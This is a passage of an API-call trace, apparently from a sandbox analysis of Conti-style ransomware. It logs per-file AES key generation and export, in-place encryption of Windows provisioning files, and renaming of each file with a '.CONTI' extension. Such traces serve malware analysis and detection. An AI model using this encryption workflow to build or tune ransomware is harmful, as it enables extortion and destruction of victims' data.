	[0112.817] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.817] ReadFile (in: hFile=0x3f8, lpBuffer=0x11710000, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x34f, lpOverlapped=0x0) returned 1
	[0112.817] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x34f, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x350) returned 1
	[0112.817] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.817] WriteFile (in: hFile=0x3f8, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x350, lpOverlapped=0x0) returned 1
	[0112.817] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.817] WriteFile (in: hFile=0x3f8, lpBuffer=0x65b09a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65b09a0*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0112.817] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.818] CloseHandle (hObject=0x3f8) returned 1
	[0112.823] GetProcessHeap () returned 0x1720000
	[0112.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.497] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml"
	[0113.497] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.498] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\538__connections_cellular_orange (cameroon)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.498] GetProcessHeap () returned 0x1720000
	[0113.499] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.499] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.499] GetProcessHeap () returned 0x1720000
	[0113.499] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7bd0 | out: hHeap=0x1720000) returned 1
	[0113.499] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0113.499] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65c3510 | out: phKey=0x65c3510*=0x17c8330) returned 1
	[0113.499] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c3514, pdwDataLen=0x5affca4 | out: pbData=0x65c3514*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0113.499] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.500] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0113.500] GetLastError () returned 0x0
	[0113.500] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=845) returned 1
	[0113.500] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34d
	[0113.500] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.500] SetEndOfFile (hFile=0x3fc) returned 1
	[0113.500] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.500] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.500] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c3514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65c3514*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.503] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.503] ReadFile (in: hFile=0x3fc, lpBuffer=0x11710000, nNumberOfBytesToRead=0x34d, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x34d, lpOverlapped=0x0) returned 1
	[0113.504] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x34d, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x350) returned 1
	[0113.504] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.504] WriteFile (in: hFile=0x3fc, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x350, lpOverlapped=0x0) returned 1
	[0113.504] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.504] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65c3508*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0113.504] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.504] CloseHandle (hObject=0x3fc) returned 1
	[0113.504] GetProcessHeap () returned 0x1720000
	[0113.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.504] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.504] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.505] GetProcessHeap () returned 0x1720000
	[0113.505] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.505] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.505] GetProcessHeap () returned 0x1720000
	[0113.505] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cc898 | out: hHeap=0x1720000) returned 1
	[0113.505] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0113.505] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65c3e30 | out: phKey=0x65c3e30*=0x17c8330) returned 1
	[0113.505] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c3e34, pdwDataLen=0x5affca4 | out: pbData=0x65c3e34*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0113.506] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.506] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0113.506] GetLastError () returned 0x0
	[0113.506] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=459) returned 1
	[0113.506] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.507] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.507] SetEndOfFile (hFile=0x3fc) returned 1
	[0113.511] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.511] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.511] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c3e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65c3e34*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.514] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.514] ReadFile (in: hFile=0x3fc, lpBuffer=0x11710000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.514] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1cb, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1d0) returned 1
	[0113.514] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.514] WriteFile (in: hFile=0x3fc, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.515] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.515] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c3e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65c3e28*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0113.515] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.515] CloseHandle (hObject=0x3fc) returned 1
	[0113.515] GetProcessHeap () returned 0x1720000
	[0113.515] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.515] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.515] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.515] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.516] GetProcessHeap () returned 0x1720000
	[0113.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.516] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.516] GetProcessHeap () returned 0x1720000
	[0113.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cc9e0 | out: hHeap=0x1720000) returned 1
	[0113.516] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0113.516] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65c1768 | out: phKey=0x65c1768*=0x17c85b0) returned 1
	[0113.516] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c176c, pdwDataLen=0x5affca4 | out: pbData=0x65c176c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0113.517] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.517] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0113.517] GetLastError () returned 0x0
	[0113.517] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=459) returned 1
	[0113.517] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.517] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.517] SetEndOfFile (hFile=0x3fc) returned 1
	[0113.523] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.523] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.523] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c176c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x65c176c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.528] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.528] ReadFile (in: hFile=0x3fc, lpBuffer=0x11710000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.528] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1cb, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1d0) returned 1
	[0113.529] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.529] WriteFile (in: hFile=0x3fc, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.529] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.529] WriteFile (in: hFile=0x3fc, lpBuffer=0x65c1760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x65c1760*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0113.529] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.529] CloseHandle (hObject=0x3fc) returned 1
	[0113.529] GetProcessHeap () returned 0x1720000
	[0113.529] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.529] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.529] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.529] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.530] GetProcessHeap () returned 0x1720000
	[0113.530] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.530] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0113.530] GetProcessHeap () returned 0x1720000
	[0113.530] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ccb28 | out: hHeap=0x1720000) returned 1
	[0113.530] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0113.530] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x65c1090 | out: phKey=0x65c1090*=0x17c85b0) returned 1
